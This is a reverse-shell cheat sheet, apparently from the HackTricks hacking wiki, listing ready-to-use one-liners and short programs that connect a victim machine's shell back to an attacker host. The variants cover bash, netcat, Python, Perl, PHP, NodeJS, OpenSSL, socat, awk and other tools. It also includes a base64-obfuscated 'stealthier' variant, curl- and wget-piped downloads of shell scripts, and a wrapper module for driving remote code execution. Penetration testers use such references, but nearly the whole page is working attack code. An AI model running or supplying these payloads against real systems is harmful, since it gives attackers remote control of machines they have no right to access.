Reverse Shells - Linux

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If you have questions about any of these shells you could check them with https://explainshell.com/

Full TTY

Once you get a reverse shell read this page to obtain a full TTY.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.

Symbol safe shell

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Shell explanation

bash -i: This part of the command starts an interactive (-i) Bash shell.
>&: This part of the command is a shorthand notation for redirecting both standard output (stdout) and standard error (stderr) to the same destination.
/dev/tcp/<ATTACKER-IP>/<PORT>: This is a special file that represents a TCP connection to the specified IP address and port.
- By redirecting the output and error streams to this file, the command effectively sends the output of the interactive shell session to the attacker's machine.
0>&1: This part of the command redirects standard input (stdin) to the same destination as standard output (stdout).

Create in file and execute

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Forward Shell

When dealing with a Remote Code Execution (RCE) vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively.

A recommended tool for this purpose is toboggan, which simplifies interaction with the target environment.

To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named nix.py could be structured as follows:

import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
    # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
    token = jwt.encode(
        {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
    )

    response = httpx.get(
        url="https://vulnerable.io:3200",
        headers={"Authorization": f"Bearer {token}"},
        timeout=timeout,
        # ||BURP||
        verify=False,
    )

    # Check if the request was successful
    response.raise_for_status()

    return response.text

And then, you can run:

toboggan -m nix.py -i

To directly leverage an interractive shell. You can add -b for Burpsuite integration and remove the -i for a more basic rce wrapper.

Another possibility consist using the IppSec forward shell implementation https://github.com/IppSec/forward-shell.

You just need to modify:

The URL of the vulnerable host
The prefix and suffix of your payload (if any)
The way the payload is sent (headers? data? extra info?)

Then, you can just send commands or even use the upgrade command to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

gsocket

Check it in https://www.gsocket.io/deploy/

bash -c "$(curl -fsSL gsocket.io/x)"

Telnet

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

Attacker

while true; do nc -l <port>; done

To send the command write it down, press enter and press CTRL+D (to stop STDIN)

Victim

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Python

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Perl

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

victim> ncat <ip> <port,eg.443> --ssl  -c  "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

OpenSSL

The Attacker (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

The Victim

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Finger

Attacker

while true; do nc -l 79; done

To send the command write it down, press enter and press CTRL+D (to stop STDIN)

Victim

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Xterm

This will try to connect to your system at port 6001:

xterm -display 10.0.0.1:1

To catch the reverse shell you can use (which will listen in port 6001):

# Authorize host
xhost +targetip
# Listen
Xnest :1

Groovy

by frohoff NOTE: Java reverse shell also work for Groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

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Last updated 1 year ago